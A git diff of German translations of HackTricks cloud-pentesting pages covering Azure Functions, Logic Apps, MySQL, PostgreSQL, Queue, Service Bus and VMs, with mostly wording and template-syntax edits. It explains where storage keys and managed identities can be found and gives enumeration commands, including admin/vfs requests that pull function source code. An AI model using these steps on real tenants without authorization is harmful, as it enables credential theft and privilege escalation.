könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLER Berechtigung auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen. +Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLBERECHTIGUNGEN auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen. Diese Umgebungsvariablen oder Konfigurationsparameter steuern auch, wie die Funktion den Code ausführt, zum Beispiel, wenn **`WEBSITE_RUN_FROM_PACKAGE`** existiert, zeigt es die URL an, wo sich der Code der Anwendung befindet. @@ -61,7 +61,7 @@ Genau wie [**VMs**](vms/index.html) können Funktionen **verwaltete Identitäten Die **systemzugewiesene** Identität ist eine verwaltete Identität, die **nur die Funktion**, die sie zugewiesen hat, verwenden kann, während die **benutzerzugewiesenen** verwalteten Identitäten verwaltete Identitäten sind, die **von jedem anderen Azure-Dienst verwendet werden können**. > [!NOTE] -> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, zu versuchen, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können. +> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können. > > Wenn keine systemzugewiesene verwaltete Identität verwendet wird, aber eine oder mehrere benutzerverwaltete Identitäten an eine Funktion angehängt sind, können Sie standardmäßig kein Token erhalten. @@ -84,7 +84,7 @@ Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger **Arten von Schlüsseln:** -- **Funktionsschlüssel:** Funktionsschlüssel können entweder standardmäßig oder benutzerdefiniert sein und sind so konzipiert, dass sie ausschließlich den Zugriff auf **spezifische Funktionsendpunkte** innerhalb einer Function App gewähren, was einen feineren Zugriff auf die Endpunkte ermöglicht. +- **Funktionsschlüssel:** Funktionsschlüssel können entweder standardmäßig oder benutzerdefiniert sein und sind dafür ausgelegt, den Zugriff ausschließlich auf **bestimmte Funktionsendpunkte** innerhalb einer Function App zu gewähren, was einen feineren Zugriff auf die Endpunkte ermöglicht. - **Host-Schlüssel:** Host-Schlüssel, die ebenfalls standardmäßig oder benutzerdefiniert sein können, gewähren Zugriff auf **alle Funktionsendpunkte innerhalb einer Function App mit FUNCTION-Zugriffslevel**. - **Master-Schlüssel:** Der Master-Schlüssel (`_master`) dient als administrativer Schlüssel, der erhöhte Berechtigungen bietet, einschließlich Zugriff auf alle Funktionsendpunkte (ADMIN-Zugriffslevel eingeschlossen). Dieser **Schlüssel kann nicht widerrufen werden.** - **Systemschlüssel:** Systemschlüssel werden **von bestimmten Erweiterungen verwaltet** und sind erforderlich, um auf Webhook-Endpunkte zuzugreifen, die von internen Komponenten verwendet werden. Beispiele sind der Event Grid-Trigger und Durable Functions, die Systemschlüssel verwenden, um sicher mit ihren jeweiligen APIs zu interagieren. @@ -96,7 +96,7 @@ Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger ### Basis-Authentifizierung -Genau wie bei App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in: +Genau wie in App Services unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in: {{#ref}} az-app-services.md @@ -192,22 +192,21 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ```
-Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Anmeldeinformation über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:/:ref:refs/heads/` ermöglicht. +Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Berechtigung über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:/:ref:refs/heads/` ermöglicht. > [!CAUTION] > Daher kann jeder, der dieses Repository kompromittiert, die Funktion und die daran angehängten Managed Identities kompromittieren. ### Containerbasierte Bereitstellungen -Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, wird die Konfiguration die URL des Containers enthalten. In der API wird die **`linuxFxVersion`** Einstellung etwas wie: `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird. +Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, enthält die Konfiguration die URL des Containers. In der API wird die **`linuxFxVersion`**-Einstellung etwas wie `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird. -Darüber hinaus wird **kein Quellcode im Speicher**-Konto gespeichert, das mit der Funktion verbunden ist, da dies nicht erforderlich ist. +Darüber hinaus **wird kein Quellcode im Speicher**-Konto gespeichert, das mit der Funktion verbunden ist, da dies nicht erforderlich ist. ## Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## Privilegieneskalation diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index c589bba36..32a050de3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -23,7 +23,7 @@ oder den Code im Abschnitt "**Logic app code view**" zu überprüfen. ### SSRF-Schutz -Selbst wenn Sie die **Logic App anfällig für SSRF** finden, können Sie die Anmeldeinformationen aus den Metadaten nicht abrufen, da Logic Apps dies nicht zulässt. +Selbst wenn Sie die **Logic App anfällig für SSRF** finden, können Sie nicht auf die Anmeldeinformationen aus den Metadaten zugreifen, da Logic Apps dies nicht zulässt. Zum Beispiel wird etwas wie dies das Token nicht zurückgeben: ```bash @@ -35,17 +35,16 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741 Es gibt mehrere Hosting-Optionen: * **Consumption** -- **Multi-tenant**: bietet gemeinsame Rechenressourcen, arbeitet in der öffentlichen Cloud und folgt einem Preismodell pro Operation. Dies ist ideal für leichte und kosteneffektive Workloads. +- **Multi-tenant**: bietet gemeinsame Rechenressourcen, arbeitet in der Public Cloud und folgt einem Preismodell, das pro Operation abgerechnet wird. Dies ist ideal für leichte und kosteneffiziente Workloads. * **Standard** - **Workflow Service Plan**: dedizierte Rechenressourcen mit VNET-Integration für Networking und Gebühren pro Workflow-Service-Plan-Instanz. Es ist geeignet für anspruchsvollere Workloads, die mehr Kontrolle erfordern. -- **App Service Environment V3**: dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für Networking und verwendet ein Preismodell basierend auf App Service-Instanzen innerhalb der Umgebung. Dies ist ideal für unternehmensgroße Anwendungen, die hohe Isolation benötigen. +- **App Service Environment V3**: dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für Networking und verwendet ein Preismodell, das auf App Service-Instanzen innerhalb der Umgebung basiert. Dies ist ideal für unternehmensgroße Anwendungen, die hohe Isolation benötigen. - **Hybrid**: entworfen für lokale Verarbeitung und Multi-Cloud-Unterstützung. Es ermöglicht kundenverwaltete Rechenressourcen mit lokalem Netzwerkzugang und nutzt Kubernetes Event-Driven Autoscaling (KEDA). ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,11 +134,8 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} - - +{{#endtab }} +{{#endtabs }} ### Integrationskonten **Integrationskonten** sind eine Funktion von Azure Logic Apps. Integrationskonten werden verwendet, um unternehmensweite Integrationen zu erleichtern, indem sie erweiterte B2B-Funktionen wie EDI, AS2 und XML-Schema-Management ermöglichen. Integrationskonten sind ein Container in Azure, der die folgenden Artefakte speichert, die für Logic Apps verwendet werden: @@ -150,16 +144,15 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " @@ -219,11 +212,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -## Privilegienerweiterung +## Privilegienausnutzung Gleich wie bei Logic Apps Privesc: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} -## Post-Exploitation +## Nach der Ausnutzung -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 29b53e380..e00e893e3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -6,7 +6,7 @@ Azure Database for MySQL ist ein vollständig verwalteter relationaler Datenbankdienst, der auf der MySQL Community Edition basiert und darauf ausgelegt ist, Skalierbarkeit, Sicherheit und Flexibilität für verschiedene Anwendungsbedürfnisse zu bieten. Es gibt zwei verschiedene Bereitstellungsmodelle: * **Single Server** (ist auf dem Rückzug): -- Optimiert für kosteneffektive und einfach zu verwaltende MySQL-Bereitstellungen. +- Optimiert für kosteneffiziente und einfach zu verwaltende MySQL-Bereitstellungen. - Zu den Funktionen gehören automatisierte Backups, hohe Verfügbarkeit und grundlegende Überwachung. - Ideal für Anwendungen mit vorhersehbaren Arbeitslasten. * **Flexible Server**: @@ -16,16 +16,15 @@ Azure Database for MySQL ist ein vollständig verwalteter relationaler Datenbank - Bietet Stop/Start-Funktionalität zur Kostensenkung. ### Hauptmerkmale -* **Serververwaltung**: Die **ad-admin**-Funktion ermöglicht die Verwaltung von Azure Active Directory (AAD)-Administratoren für MySQL-Server, wodurch die Kontrolle über den administrativen Zugriff über AAD-Anmeldeinformationen bereitgestellt wird, während die **identity**-Funktion die Zuweisung und Verwaltung von Azure Managed Identities ermöglicht, die eine sichere, anmeldefreie Authentifizierung für den Zugriff auf Azure-Ressourcen bieten. +* **Serververwaltung**: Die **ad-admin**-Funktion ermöglicht die Verwaltung von Azure Active Directory (AAD)-Administratoren für MySQL-Server und bietet Kontrolle über den administrativen Zugriff über AAD-Anmeldeinformationen, während die **identity**-Funktion die Zuweisung und Verwaltung von Azure Managed Identities ermöglicht, die eine sichere, anmeldeinformationsfreie Authentifizierung für den Zugriff auf Azure-Ressourcen bieten. * **Lebenszyklusverwaltung**: Optionen zum Starten oder Stoppen eines Servers, Löschen einer flexiblen Serverinstanz, Neustarten eines Servers, um Konfigurationsänderungen schnell anzuwenden, und Warten, um sicherzustellen, dass ein Server bestimmte Bedingungen erfüllt, bevor mit Automatisierungsskripten fortgefahren wird. * **Sicherheit und Netzwerk**: kann Server-Firewallregeln für den sicheren Datenbankzugriff verwalten und virtuelle Netzwerk-Konfigurationen nach Bedarf trennen. * **Datenschutz und Backup**: umfasst Optionen zur Verwaltung von flexiblen Server-Backups für die Datenwiederherstellung, Durchführung von Geo-Restore zur Wiederherstellung eines Servers in einer anderen Region, Export von Server-Backups zur externen Nutzung (in der Vorschau) und Wiederherstellung eines Servers aus einem Backup zu einem bestimmten Zeitpunkt. ### Aufzählung -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Verbindung Mit der Erweiterung rdbms-connect können Sie auf die Datenbank zugreifen mit: - -{% code overflow="wrap" %} ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - -Oder mit dem MySQL-nativen Erweiterungs-Plugin -{% code overflow="wrap" %} +Oder mit dem MySQL-Native-Extension-Plugin ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - -Außerdem können Sie Abfragen mit GitHub ausführen, aber das Passwort und der Benutzer sind ebenfalls erforderlich. Sie müssen eine SQL-Datei mit der auszuführenden Abfrage einrichten und dann: -{% code overflow="wrap" %} +Außerdem können Sie Abfragen mit GitHub ausführen, aber das Passwort und der Benutzer sind ebenfalls erforderlich. Sie müssen eine SQL-Datei mit der auszuführenden Abfrage einrichten und dann: ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,22 +133,20 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} +## Privilegienerhöhung -## Privilegienerweiterung - -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} ## Nach der Ausnutzung -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## ToDo -* Suchen Sie nach einer Möglichkeit, mit mysql flexible-server als Admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegienerweiterungsmethode handelt +* Suchen Sie nach einer Möglichkeit, mit mysql flexible-server ad-admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegienerhöhung handelt {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index be0dcf743..970de1850 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -6,11 +6,11 @@ **Azure Database for PostgreSQL** ist ein vollständig verwalteter **relationaler Datenbankdienst, der auf der PostgreSQL** Community Edition basiert. Er wurde entwickelt, um Skalierbarkeit, Sicherheit und Flexibilität für unterschiedliche Anwendungsbedürfnisse zu bieten. Ähnlich wie Azure MySQL bietet PostgreSQL zwei Bereitstellungsmodelle: * **Single Server** (auf dem Rückzugspfad): -- Optimiert für einfache, kosteneffiziente PostgreSQL-Bereitstellungen. +- Optimiert für einfache, kosteneffektive PostgreSQL-Bereitstellungen. - Bietet automatisierte Backups, grundlegende Überwachung und hohe Verfügbarkeit. - Ideal für Anwendungen mit vorhersehbaren Arbeitslasten. * **Flexible Server**: -- Bietet mehr Kontrolle über Datenbankverwaltung und -konfiguration. +- Bietet mehr Kontrolle über Datenbankmanagement und -konfiguration. - Unterstützt hohe Verfügbarkeit, sowohl in derselben Zone als auch über Zonen hinweg. - Bietet elastische Skalierung, automatisierte Wartung und kostensparende Funktionen. - Ermöglicht das Starten und Stoppen des Servers zur Kostenoptimierung. @@ -18,17 +18,16 @@ ### Hauptmerkmale * **Benutzerdefinierte Wartungsfenster**: Planen Sie Updates, um Störungen zu minimieren. -* **Aktive Überwachung**: Zugriff auf detaillierte Metriken und Protokolle zur Verfolgung und Verbesserung der Datenbankleistung. +* **Aktive Überwachung**: Greifen Sie auf detaillierte Metriken und Protokolle zu, um die Datenbankleistung zu verfolgen und zu verbessern. * **Server Stop/Start**: Benutzer können den Server stoppen und starten. * **Automatische Backups**: Eingebaute tägliche Backups mit konfigurierbaren Aufbewahrungsfristen von bis zu 35 Tagen. * **Rollenbasierter Zugriff**: Steuern Sie Benutzerberechtigungen und administrativen Zugriff über Azure Active Directory. * **Sicherheit und Netzwerk**: Kann Firewall-Regeln für den sicheren Datenbankzugriff verwalten und virtuelle Netzwerk-Konfigurationen nach Bedarf trennen. -### Enumeration +### Aufzählung -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Verbindung Mit der Erweiterung rdbms-connect können Sie auf die Datenbank zugreifen mit: - -{% code overflow="wrap" %} ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,36 +106,31 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - Oder -{% code overflow="wrap" %} ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser ``` -{% endcode %} - ## Referenzen -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) ## Privilegieneskalation -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} ## Post-Exploitation -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} ## ToDo -* Eine Möglichkeit suchen, um mit ad-admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegieneskalationsmethode handelt +* Suche nach einer Möglichkeit, mit ad-admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegieneskalationsmethode handelt {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index 697e54eef..40b2a3373 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,27 +4,27 @@ ## Grundinformationen -Azure Queue Storage ist ein Dienst in Microsofts Azure-Cloud-Plattform, der für die Nachrichtenwarteschlange zwischen Anwendungskomponenten entwickelt wurde, **um asynchrone Kommunikation und Entkopplung zu ermöglichen**. Es ermöglicht Ihnen, eine unbegrenzte Anzahl von Nachrichten zu speichern, jede bis zu 64 KB groß, und unterstützt Operationen wie das Erstellen und Löschen von Warteschlangen, das Hinzufügen, Abrufen, Aktualisieren und Löschen von Nachrichten sowie das Verwalten von Metadaten und Zugriffsrichtlinien. Während es typischerweise Nachrichten in einer First-In-First-Out (FIFO)-Reihenfolge verarbeitet, wird strikte FIFO nicht garantiert. +Azure Queue Storage ist ein Dienst in Microsofts Azure-Cloud-Plattform, der für die Nachrichtenwarteschlange zwischen Anwendungskomponenten entwickelt wurde, **um asynchrone Kommunikation und Entkopplung zu ermöglichen**. Es ermöglicht Ihnen, eine unbegrenzte Anzahl von Nachrichten zu speichern, von denen jede bis zu 64 KB groß sein kann, und unterstützt Operationen wie das Erstellen und Löschen von Warteschlangen, das Hinzufügen, Abrufen, Aktualisieren und Löschen von Nachrichten sowie das Verwalten von Metadaten und Zugriffsrichtlinien. Während es typischerweise Nachrichten in einer First-In-First-Out (FIFO)-Reihenfolge verarbeitet, wird strikte FIFO nicht garantiert. -### Aufzählung +### Enumeration {{#tabs }} {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} @@ -64,13 +64,13 @@ $queueMessage.Value {{#endtab }} {{#endtabs }} -### Privilegienerweiterung +### Privilegieneskalation {{#ref}} ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -### Nach der Ausnutzung +### Post-Exploitation {{#ref}} ../az-post-exploitation/az-queue-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 2f7ce92c4..59d5db656 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -30,7 +30,7 @@ Einige erweiterte Funktionen sind: - **Transaktionen**: Gruppiert Operationen in atomare Ausführung. - **Filter & Aktionen**: Wendet Regeln an, um Nachrichten zu filtern oder zu annotieren. - **Automatisches Löschen bei Inaktivität**: Löscht Warteschlangen nach Inaktivität (min: 5 Minuten). -- **Duplikaterkennung**: Entfernt doppelte Nachrichten während der erneuten Übertragung. +- **Duplikaterkennung**: Entfernt doppelte Nachrichten während der erneuten Zustellung. - **Batch-Löschung**: Löscht im Bulk abgelaufene oder unnötige Nachrichten. ### Autorisierungsregel / SAS-Richtlinie @@ -51,9 +51,8 @@ sku, autorisierungsregel, ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,12 +125,11 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -### Privilegienerweiterung +### Privilegieneskalation {{#ref}} ../az-privilege-escalation/az-servicebus-privesc.md @@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName ## Bilder, Galerie-Bilder & Wiederherstellungspunkte -Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu **erstellen**. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs** dient.\ +Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu erstellen. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs** dient.\ Bilder können im **Bilder-Bereich** von Azure oder in **Azure-Compute-Galerien** verwaltet werden, die es ermöglichen, **Versionen** zu erstellen und das Image tenantübergreifend zu **teilen** oder sogar öffentlich zu machen. -Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungs-konsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zu bringen, in dem sie zu diesem spezifischen Zeitpunkt war. +Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungskonsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und dient dem Zweck, diese VM auf den Zustand zu bringen, in dem sie sich zu diesem spezifischen Zeitpunkt befand. {{#tabs}} {{#tab name="az cli"}} @@ -148,9 +148,9 @@ Aus den [**Docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-re ## Azure Bastion -Azure Bastion ermöglicht sicheren und nahtlosen **Remote Desktop Protocol (RDP)** und **Secure Shell (SSH)** Zugriff auf Ihre virtuellen Maschinen (VMs) direkt über das Azure-Portal oder über eine Jump-Box. Durch **die Eliminierung der Notwendigkeit für öffentliche IP-Adressen** auf Ihren VMs. +Azure Bastion ermöglicht sicheren und nahtlosen **Remote Desktop Protocol (RDP)** und **Secure Shell (SSH)** Zugriff auf Ihre virtuellen Maschinen (VMs) direkt über das Azure-Portal oder über eine Jump-Box. Durch **Beseitigung der Notwendigkeit für öffentliche IP-Adressen** auf Ihren VMs. -Der Bastion implementiert ein Subnetz namens **`AzureBastionSubnet`** mit einer `/26` Netzmaske im VNet, in dem er arbeiten muss. Dann ermöglicht es, **eine Verbindung zu internen VMs über den Browser** unter Verwendung von `RDP` und `SSH`, wodurch Ports der VMs nicht ins Internet exponiert werden. Es kann auch als **Jump-Host** fungieren. +Der Bastion implementiert ein Subnetz namens 